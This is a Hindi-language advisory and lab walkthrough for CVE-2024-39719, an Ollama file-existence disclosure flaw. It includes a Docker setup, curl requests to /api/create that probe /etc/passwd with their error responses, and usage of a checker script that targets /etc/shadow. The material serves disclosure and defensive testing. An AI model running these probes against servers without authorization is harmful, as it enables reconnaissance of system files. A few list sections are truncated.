
CVE-2024-39719 एक फ़ाइल अस्तित्व प्रकटीकरण भेद्यता है जो Ollama संस्करण 0.3.14 और उससे पहले के संस्करणों को प्रभावित करती है। यह भेद्यता हमलावरों को एक API एंडपॉइंट के माध्यम से सर्वर पर विशिष्ट फ़ाइलों के अस्तित्व का पता लगाने की अनुमति देती है, जिससे संभावित रूप से सूचना रिसाव हो सकता है।
रिलीज़ दिनांक: 31 अक्टूबर, 2024
यह भेद्यता Ollama के /api/create एंडपॉइंट में मौजूद है। जब कोई हमलावर पथ पैरामीटर के साथ CreateModel API को कॉल करता है, तो सर्वर पथ के अस्तित्व में होने या न होने के आधार पर अलग-अलग त्रुटि संदेश लौटाता है। यह व्यवहार हमलावर को त्रुटि संदेशों का विश्लेषण करके यह निर्धारित करने की अनुमति देता है कि सर्वर पर कोई विशिष्ट फ़ाइल या निर्देशिका मौजूद है या नहीं।
मूल समस्या यह है कि उपयोगकर्ता इनपुट को संभालते समय, सिस्टम पथ अस्तित्व की जानकारी को उचित रूप से छिपाने के बजाय सीधे क्लाइंट को फ़ाइल सिस्टम त्रुटियाँ उजागर कर देता है।
यह भेद्यता Ollama के 0.3.14 तक के सभी संस्करणों को प्रभावित करती है।
यद्यपि फ़ाइल अस्तित्व प्रकटीकरण भेद्यता शुरू में कम गंभीर लग सकती है, यह निम्न कार्य कर सकती है:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/ तक पहुँच कर पुष्टि कर सकते हैं कि Ollama 0.3.14 चल रहा है।एक गैर-मौजूद फ़ाइल तक पहुँचने का प्रयास करने के लिए curl का उपयोग करके अनुरोध भेजें:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
प्रतिक्रिया:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
किसी मौजूद फ़ाइल, जैसे /etc/passwd, का परीक्षण करें:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
प्रतिक्रिया:
{"error":"no FROM line for the model was specified"}
इन विभिन्न त्रुटि संदेशों का विश्लेषण करके, एक हमलावर यह निर्धारित कर सकता है कि लक्षित पथ मौजूद है या नहीं, जिससे सर्वर की फ़ाइल संरचना के बारे में जानकारी प्राप्त होती है। ध्यान दें कि सर्वर द्वारा लौटाई गई जानकारी संस्करण के आधार पर भिन्न हो सकती है।
Ollama ने नए संस्करणों में इस भेद्यता को ठीक कर दिया है। समाधानों में शामिल हैं:
/api/create एंडपॉइंट तक असामान्य पहुँच पैटर्न का पता लगाने पर ध्यान केंद्रित करें।प्रदान की गई Python स्क्रिप्ट आपको यह परीक्षण करने की अनुमति देती है कि कोई Ollama सर्वर CVE-2024-39719 के प्रति भेद्य है या नहीं।
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: Ollama सर्वर का URL (आवश्यक)-f, --file: अस्तित्व की जाँच करने हेतु फ़ाइल (डिफ़ॉल्ट "/etc/passwd")# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434
# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों और वैध सुरक्षा परीक्षण के लिए प्रदान की गई है। किसी भी सिस्टम का भेद्यता परीक्षण करने से पहले हमेशा सुनिश्चित करें कि आपके पास उचित प्राधिकरण है। अनधिकृत परीक्षण कानूनों और विनियमों का उल्लंघन कर सकता है।